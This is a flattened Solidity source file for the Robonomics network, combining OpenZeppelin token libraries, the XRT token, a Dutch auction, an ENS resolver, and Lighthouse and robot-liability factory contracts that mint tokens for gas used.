pragma solidity 0.4.24; /** * @title Eliptic curve signature operations * * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * @dev and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( "\x19Ethereum Signed Message:\n32", hash ); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: contracts/robonomics/XRT.sol contract XRT is MintableToken, BurnableToken { string public constant name = "Robonomics Beta"; string public constant symbol = "XRT"; uint public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 1000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } } // File: contracts/robonomics/DutchAuction.sol /// @title Dutch auction contract - distribution of XRT tokens using an auction. /// @author Stefan George - <[email protected]> /// @author Airalab - <[email protected]> contract DutchAuction { /* * Events */ event BidSubmission(address indexed sender, uint256 amount); /* * Constants */ uint constant public MAX_TOKENS_SOLD = 8000 * 10**9; // 8M XRT = 10M - 1M (Foundation) - 1M (Early investors base) uint constant public WAITING_PERIOD = 0; // 1 days; /* * Storage */ XRT public xrt; address public ambix; address public wallet; address public owner; uint public ceiling; uint public priceFactor; uint public startBlock; uint public endTime; uint public totalReceived; uint public finalPrice; mapping (address => uint) public bids; Stages public stage; /* * Enums */ enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, TradingStarted } /* * Modifiers */ modifier atStage(Stages _stage) { // Contract on stage require(stage == _stage); _; } modifier isOwner() { // Only owner is allowed to proceed require(msg.sender == owner); _; } modifier isWallet() { // Only wallet is allowed to proceed require(msg.sender == wallet); _; } modifier isValidPayload() { require(msg.data.length == 4 || msg.data.length == 36); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice()) finalizeAuction(); if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD) stage = Stages.TradingStarted; _; } /* * Public functions */ /// @dev Contract constructor function sets owner. /// @param _wallet Multisig wallet. /// @param _ceiling Auction ceiling. /// @param _priceFactor Auction price factor. constructor(address _wallet, uint _ceiling, uint _priceFactor) public { require(_wallet != 0 && _ceiling != 0 && _priceFactor != 0); owner = msg.sender; wallet = _wallet; ceiling = _ceiling; priceFactor = _priceFactor; stage = Stages.AuctionDeployed; } /// @dev Setup function sets external contracts' addresses. /// @param _xrt Robonomics token address. /// @param _ambix Distillation cube address. function setup(address _xrt, address _ambix) public isOwner atStage(Stages.AuctionDeployed) { // Validate argument require(_xrt != 0 && _ambix != 0); xrt = XRT(_xrt); ambix = _ambix; // Validate token balance require(xrt.balanceOf(this) == MAX_TOKENS_SOLD); stage = Stages.AuctionSetUp; } /// @dev Starts auction and sets startBlock. function startAuction() public isWallet atStage(Stages.AuctionSetUp) { stage = Stages.AuctionStarted; startBlock = block.number; } /// @dev Changes auction ceiling and start price factor before auction is started. /// @param _ceiling Updated auction ceiling. /// @param _priceFactor Updated start price factor. function changeSettings(uint _ceiling, uint _priceFactor) public isWallet atStage(Stages.AuctionSetUp) { ceiling = _ceiling; priceFactor = _priceFactor; } /// @dev Calculates current token price. /// @return Returns token price. function calcCurrentTokenPrice() public timedTransitions returns (uint) { if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted) return finalPrice; return calcTokenPrice(); } /// @dev Returns correct stage, even if a function with timedTransitions modifier has not yet been called yet. /// @return Returns current auction stage. function updateStage() public timedTransitions returns (Stages) { return stage; } /// @dev Allows to send a bid to the auction. /// @param receiver Bid will be assigned to this address if set. function bid(address receiver) public payable isValidPayload timedTransitions atStage(Stages.AuctionStarted) returns (uint amount) { require(msg.value > 0); amount = msg.value; // If a bid is done on behalf of a user via ShapeShift, the receiver address is set. if (receiver == 0) receiver = msg.sender; // Prevent that more than 90% of tokens are sold. Only relevant if cap not reached. uint maxWei = MAX_TOKENS_SOLD * calcTokenPrice() / 10**9 - totalReceived; uint maxWeiBasedOnTotalReceived = ceiling - totalReceived; if (maxWeiBasedOnTotalReceived < maxWei) maxWei = maxWeiBasedOnTotalReceived; // Only invest maximum possible amount. if (amount > maxWei) { amount = maxWei; // Send change back to receiver address. In case of a ShapeShift bid the user receives the change back directly. receiver.transfer(msg.value - amount); } // Forward funding to ether wallet wallet.transfer(amount); bids[receiver] += amount; totalReceived += amount; BidSubmission(receiver, amount); // Finalize auction when maxWei reached if (amount == maxWei) finalizeAuction(); } /// @dev Claims tokens for bidder after auction. /// @param receiver Tokens will be assigned to this address if set. function claimTokens(address receiver) public isValidPayload timedTransitions atStage(Stages.TradingStarted) { if (receiver == 0) receiver = msg.sender; uint tokenCount = bids[receiver] * 10**9 / finalPrice; bids[receiver] = 0; require(xrt.transfer(receiver, tokenCount)); } /// @dev Calculates stop price. /// @return Returns stop price. function calcStopPrice() view public returns (uint) { return totalReceived * 10**9 / MAX_TOKENS_SOLD + 1; } /// @dev Calculates token price. /// @return Returns token price. function calcTokenPrice() view public returns (uint) { return priceFactor * 10**18 / (block.number - startBlock + 7500) + 1; } /* * Private functions */ function finalizeAuction() private { stage = Stages.AuctionEnded; finalPrice = totalReceived == ceiling ? calcTokenPrice() : calcStopPrice(); uint soldTokens = totalReceived * 10**9 / finalPrice; if (totalReceived == ceiling) { // Auction contract transfers all unsold tokens to Ambix contract require(xrt.transfer(ambix, MAX_TOKENS_SOLD - soldTokens)); } else { // Auction contract burn all unsold tokens xrt.burn(MAX_TOKENS_SOLD - soldTokens); } endTime = now; } } // File: ens/contracts/ENS.sol interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public; function setResolver(bytes32 node, address resolver) public; function setOwner(bytes32 node, address owner) public; function setTTL(bytes32 node, uint64 ttl) public; function owner(bytes32 node) public view returns (address); function resolver(bytes32 node) public view returns (address); function ttl(bytes32 node) public view returns (uint64); } // File: ens/contracts/PublicResolver.sol /** * A simple resolver anyone can use; only allows the owner of a node to set its * address. */ contract PublicResolver { bytes4 constant INTERFACE_META_ID = 0x01ffc9a7; bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5; bytes4 constant NAME_INTERFACE_ID = 0x691f3431; bytes4 constant ABI_INTERFACE_ID = 0x2203ab56; bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233; bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c; bytes4 constant MULTIHASH_INTERFACE_ID = 0xe89401a1; event AddrChanged(bytes32 indexed node, address a); event ContentChanged(bytes32 indexed node, bytes32 hash); event NameChanged(bytes32 indexed node, string name); event ABIChanged(bytes32 indexed node, uint256 indexed contentType); event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); event TextChanged(bytes32 indexed node, string indexedKey, string key); event MultihashChanged(bytes32 indexed node, bytes hash); struct PublicKey { bytes32 x; bytes32 y; } struct Record { address addr; bytes32 content; string name; PublicKey pubkey; mapping(string=>string) text; mapping(uint256=>bytes) abis; bytes multihash; } ENS ens; mapping (bytes32 => Record) records; modifier only_owner(bytes32 node) { require(ens.owner(node) == msg.sender); _; } /** * Constructor. * @param ensAddr The ENS registrar contract. */ function PublicResolver(ENS ensAddr) public { ens = ensAddr; } /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param addr The address to set. */ function setAddr(bytes32 node, address addr) public only_owner(node) { records[node].addr = addr; AddrChanged(node, addr); } /** * Sets the content hash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The node to update. * @param hash The content hash to set */ function setContent(bytes32 node, bytes32 hash) public only_owner(node) { records[node].content = hash; ContentChanged(node, hash); } /** * Sets the multihash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param hash The multihash to set */ function setMultihash(bytes32 node, bytes hash) public only_owner(node) { records[node].multihash = hash; MultihashChanged(node, hash); } /** * Sets the name associated with an ENS node, for reverse records. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param name The name to set. */ function setName(bytes32 node, string name) public only_owner(node) { records[node].name = name; NameChanged(node, name); } /** * Sets the ABI associated with an ENS node. * Nodes may have one ABI of each content type. To remove an ABI, set it to * the empty string. * @param node The node to update. * @param contentType The content type of the ABI * @param data The ABI data. */ function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) { // Content types must be powers of 2 require(((contentType - 1) & contentType) == 0); records[node].abis[contentType] = data; ABIChanged(node, contentType); } /** * Sets the SECP256k1 public key associated with an ENS node. * @param node The ENS node to query * @param x the X coordinate of the curve point for the public key. * @param y the Y coordinate of the curve point for the public key. */ function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) { records[node].pubkey = PublicKey(x, y); PubkeyChanged(node, x, y); } /** * Sets the text data associated with an ENS node and key. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param key The key to set. * @param value The text data value to set. */ function setText(bytes32 node, string key, string value) public only_owner(node) { records[node].text[key] = value; TextChanged(node, key, key); } /** * Returns the text data associated with an ENS node and key. * @param node The ENS node to query. * @param key The text data key to query. * @return The associated text data. */ function text(bytes32 node, string key) public view returns (string) { return records[node].text[key]; } /** * Returns the SECP256k1 public key associated with an ENS node. * Defined in EIP 619. * @param node The ENS node to query * @return x, y the X and Y coordinates of the curve point for the public key. */ function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) { return (records[node].pubkey.x, records[node].pubkey.y); } /** * Returns the ABI associated with an ENS node. * Defined in EIP205. * @param node The ENS node to query * @param contentTypes A bitwise OR of the ABI formats accepted by the caller. * @return contentType The content type of the return value * @return data The ABI data */ function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) { Record storage record = records[node]; for (contentType = 1; contentType <= contentTypes; contentType <<= 1) { if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) { data = record.abis[contentType]; return; } } contentType = 0; } /** * Returns the name associated with an ENS node, for reverse records. * Defined in EIP181. * @param node The ENS node to query. * @return The associated name. */ function name(bytes32 node) public view returns (string) { return records[node].name; } /** * Returns the content hash associated with an ENS node. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The ENS node to query. * @return The associated content hash. */ function content(bytes32 node) public view returns (bytes32) { return records[node].content; } /** * Returns the multihash associated with an ENS node. * @param node The ENS node to query. * @return The associated multihash. */ function multihash(bytes32 node) public view returns (bytes) { return records[node].multihash; } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) public view returns (address) { return records[node].addr; } /** * Returns true if the resolver implements the interface specified by the provided hash. * @param interfaceID The ID of the interface to check for. * @return True if the contract implements the requested interface. */ function supportsInterface(bytes4 interfaceID) public pure returns (bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == CONTENT_INTERFACE_ID || interfaceID == NAME_INTERFACE_ID || interfaceID == ABI_INTERFACE_ID || interfaceID == PUBKEY_INTERFACE_ID || interfaceID == TEXT_INTERFACE_ID || interfaceID == MULTIHASH_INTERFACE_ID || interfaceID == INTERFACE_META_ID; } } contract LightContract { /** * @dev Shared code smart contract */ address lib; constructor(address _library) public { lib = _library; } function() public { require(lib.delegatecall(msg.data)); } } contract LighthouseABI { function refill(uint256 _value) external; function withdraw(uint256 _value) external; function to(address _to, bytes _data) external; function () external; } contract LighthouseAPI { address[] public members; mapping(address => uint256) indexOf; mapping(address => uint256) public balances; uint256 public minimalFreeze; uint256 public timeoutBlocks; LiabilityFactory public factory; XRT public xrt; uint256 public keepaliveBlock = 0; uint256 public marker = 0; uint256 public quota = 0; function quotaOf(address _member) public view returns (uint256) { return balances[_member] / minimalFreeze; } } contract LighthouseLib is LighthouseAPI, LighthouseABI { function refill(uint256 _value) external { require(xrt.transferFrom(msg.sender, this, _value)); require(_value >= minimalFreeze); if (balances[msg.sender] == 0) { indexOf[msg.sender] = members.length; members.push(msg.sender); } balances[msg.sender] += _value; } function withdraw(uint256 _value) external { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; require(xrt.transfer(msg.sender, _value)); // Drop member if quota go to zero if (quotaOf(msg.sender) == 0) { uint256 balance = balances[msg.sender]; balances[msg.sender] = 0; require(xrt.transfer(msg.sender, balance)); uint256 senderIndex = indexOf[msg.sender]; uint256 lastIndex = members.length - 1; if (senderIndex < lastIndex) members[senderIndex] = members[lastIndex]; members.length -= 1; } } function nextMember() internal { marker = (marker + 1) % members.length; } modifier quoted { if (quota == 0) { // Step over marker nextMember(); // Allocate new quota quota = quotaOf(members[marker]); } // Consume one quota for transaction sending assert(quota > 0); quota -= 1; _; } modifier keepalive { if (timeoutBlocks < block.number - keepaliveBlock) { // Search keepalive sender while (msg.sender != members[marker]) nextMember(); // Allocate new quota quota = quotaOf(members[marker]); } _; } modifier member { // Zero members guard require(members.length > 0); // Only member with marker can to send transaction require(msg.sender == members[marker]); // Store transaction sending block keepaliveBlock = block.number; _; } function to(address _to, bytes _data) external keepalive quoted member { require(factory.gasUtilizing(_to) > 0); require(_to.call(_data)); } function () external keepalive quoted member { require(factory.call(msg.data)); } } contract Lighthouse is LighthouseAPI, LightContract { constructor( address _lib, uint256 _minimalFreeze, uint256 _timeoutBlocks ) public LightContract(_lib) { minimalFreeze = _minimalFreeze; timeoutBlocks = _timeoutBlocks; factory = LiabilityFactory(msg.sender); xrt = factory.xrt(); } } contract RobotLiabilityABI { function ask( bytes _model, bytes _objective, ERC20 _token, uint256 _cost, address _validator, uint256 _validator_fee, uint256 _deadline, bytes32 _nonce, bytes _signature ) external returns (bool); function bid( bytes _model, bytes _objective, ERC20 _token, uint256 _cost, uint256 _lighthouse_fee, uint256 _deadline, bytes32 _nonce, bytes _signature ) external returns (bool); function finalize( bytes _result, bytes _signature, bool _agree ) external returns (bool); } contract RobotLiabilityAPI { bytes public model; bytes public objective; bytes public result; ERC20 public token; uint256 public cost; uint256 public lighthouseFee; uint256 public validatorFee; bytes32 public askHash; bytes32 public bidHash; address public promisor; address public promisee; address public validator; bool public isConfirmed; bool public isFinalized; LiabilityFactory public factory; } contract RobotLiabilityLib is RobotLiabilityABI , RobotLiabilityAPI { using ECRecovery for bytes32; function ask( bytes _model, bytes _objective, ERC20 _token, uint256 _cost, address _validator, uint256 _validator_fee, uint256 _deadline, bytes32 _nonce, bytes _signature ) external returns (bool) { require(msg.sender == address(factory)); require(block.number < _deadline); model = _model; objective = _objective; token = _token; cost = _cost; validator = _validator; validatorFee = _validator_fee; askHash = keccak256(abi.encodePacked( _model , _objective , _token , _cost , _validator , _validator_fee , _deadline , _nonce )); promisee = askHash .toEthSignedMessageHash() .recover(_signature); return true; } function bid( bytes _model, bytes _objective, ERC20 _token, uint256 _cost, uint256 _lighthouse_fee, uint256 _deadline, bytes32 _nonce, bytes _signature ) external returns (bool) { require(msg.sender == address(factory)); require(block.number < _deadline); require(keccak256(model) == keccak256(_model)); require(keccak256(objective) == keccak256(_objective)); require(_token == token); require(_cost == cost); lighthouseFee = _lighthouse_fee; bidHash = keccak256(abi.encodePacked( _model , _objective , _token , _cost , _lighthouse_fee , _deadline , _nonce )); promisor = bidHash .toEthSignedMessageHash() .recover(_signature); return true; } /** * @dev Finalize this liability * @param _result Result data hash * @param _agree Validation network confirmation * @param _signature Result sender signature */ function finalize( bytes _result, bytes _signature, bool _agree ) external returns (bool) { uint256 gasinit = gasleft(); require(!isFinalized); address resultSender = keccak256(abi.encodePacked(this, _result)) .toEthSignedMessageHash() .recover(_signature); require(resultSender == promisor); result = _result; isFinalized = true; if (validator == 0) { require(factory.isLighthouse(msg.sender)); require(token.transfer(promisor, cost)); } else { require(msg.sender == validator); isConfirmed = _agree; if (isConfirmed) require(token.transfer(promisor, cost)); else require(token.transfer(promisee, cost)); if (validatorFee > 0) require(factory.xrt().transfer(validator, validatorFee)); } require(factory.liabilityFinalized(gasinit)); return true; } } // Standard robot liability light contract contract RobotLiability is RobotLiabilityAPI, LightContract { constructor(address _lib) public LightContract(_lib) { factory = LiabilityFactory(msg.sender); } } contract LiabilityFactory { constructor( address _robot_liability_lib, address _lighthouse_lib, DutchAuction _auction, XRT _xrt, ENS _ens ) public { robotLiabilityLib = _robot_liability_lib; lighthouseLib = _lighthouse_lib; auction = _auction; xrt = _xrt; ens = _ens; } /** * @dev New liability created */ event NewLiability(address indexed liability); /** * @dev New lighthouse created */ event NewLighthouse(address indexed lighthouse, string name); /** * @dev Robonomics dutch auction contract */ DutchAuction public auction; /** * @dev Robonomics network protocol token */ XRT public xrt; /** * @dev Ethereum name system */ ENS public ens; /** * @dev Total GAS utilized by Robonomics network */ uint256 public totalGasUtilizing = 0; /** * @dev GAS utilized by liability contracts */ mapping(address => uint256) public gasUtilizing; /** * @dev The count of utilized gas for switch to next epoch */ uint256 public constant gasEpoch = 347 * 10**10; /** * @dev Weighted average gasprice */ uint256 public constant gasPrice = 10 * 10**9; /** * @dev Used market orders accounting */ mapping(bytes32 => bool) public usedHash; /** * @dev Lighthouse accounting */ mapping(address => bool) public isLighthouse; /** * @dev Robot liability shared code smart contract */ address public robotLiabilityLib; /** * @dev Lightouse shared code smart contract */ address public lighthouseLib; /** * @dev XRT emission value for utilized gas */ function wnFromGas(uint256 _gas) public view returns (uint256) { // Just return wn=gas when auction isn't finish if (auction.finalPrice() == 0) return _gas; // Current gas utilization epoch uint256 epoch = totalGasUtilizing / gasEpoch; // XRT emission with addition coefficient by gas utilzation epoch uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice(); // Check to not permit emission decrease below wn=gas return wn < _gas ? _gas : wn; } /** * @dev Only lighthouse guard */ modifier onlyLighthouse { require(isLighthouse[msg.sender]); _; } /** * @dev Parameter can be used only once * @param _hash Single usage hash */ function usedHashGuard(bytes32 _hash) internal { require(!usedHash[_hash]); usedHash[_hash] = true; } /** * @dev Create robot liability smart contract * @param _ask ABI-encoded ASK order message * @param _bid ABI-encoded BID order message */ function createLiability( bytes _ask, bytes _bid ) external onlyLighthouse returns (RobotLiability liability) { // Store in memory available gas uint256 gasinit = gasleft(); // Create liability liability = new RobotLiability(robotLiabilityLib); emit NewLiability(liability); // Parse messages require(liability.call(abi.encodePacked(bytes4(0x82fbaa25), _ask))); // liability.ask(...) usedHashGuard(liability.askHash()); require(liability.call(abi.encodePacked(bytes4(0x66193359), _bid))); // liability.bid(...) usedHashGuard(liability.bidHash()); // Transfer lighthouse fee to lighthouse worker directly require(xrt.transferFrom(liability.promisor(), tx.origin, liability.lighthouseFee())); // Transfer liability security and hold on contract ERC20 token = liability.token(); require(token.transferFrom(liability.promisee(), liability, liability.cost())); // Transfer validator fee and hold on contract if (address(liability.validator()) != 0 && liability.validatorFee() > 0) require(xrt.transferFrom(liability.promisee(), liability, liability.validatorFee())); // Accounting gas usage of transaction uint256 gas = gasinit - gasleft() + 110525; // Including observation error totalGasUtilizing += gas; gasUtilizing[liability] += gas; } /** * @dev Create lighthouse smart contract * @param _minimalFreeze Minimal freeze value of XRT token * @param _timeoutBlocks Max time of lighthouse silence in blocks * @param _name Lighthouse subdomain, * example: for 'my-name' will created 'my-name.lighthouse.1.robonomics.eth' domain */ function createLighthouse( uint256 _minimalFreeze, uint256 _timeoutBlocks, string _name ) external returns (address lighthouse) { bytes32 lighthouseNode // lighthouse.1.robonomics.eth = 0x3662a5d633e9a5ca4b4bd25284e1b343c15a92b5347feb9b965a2b1ef3e1ea1a; // Name reservation check bytes32 subnode = keccak256(abi.encodePacked(lighthouseNode, keccak256(_name))); require(ens.resolver(subnode) == 0); // Create lighthouse lighthouse = new Lighthouse(lighthouseLib, _minimalFreeze, _timeoutBlocks); emit NewLighthouse(lighthouse, _name); isLighthouse[lighthouse] = true; // Register subnode ens.setSubnodeOwner(lighthouseNode, keccak256(_name), this); // Register lighthouse address PublicResolver resolver = PublicResolver(ens.resolver(lighthouseNode)); ens.setResolver(subnode, resolver); resolver.setAddr(subnode, lighthouse); } /** * @dev Is called whan after liability finalization * @param _gas Liability finalization gas expenses */ function liabilityFinalized( uint256 _gas ) external returns (bool) { require(gasUtilizing[msg.sender] > 0); uint256 gas = _gas - gasleft(); totalGasUtilizing += gas; gasUtilizing[msg.sender] += gas; require(xrt.mint(tx.origin, wnFromGas(gasUtilizing[msg.sender]))); return true; } }
DC1
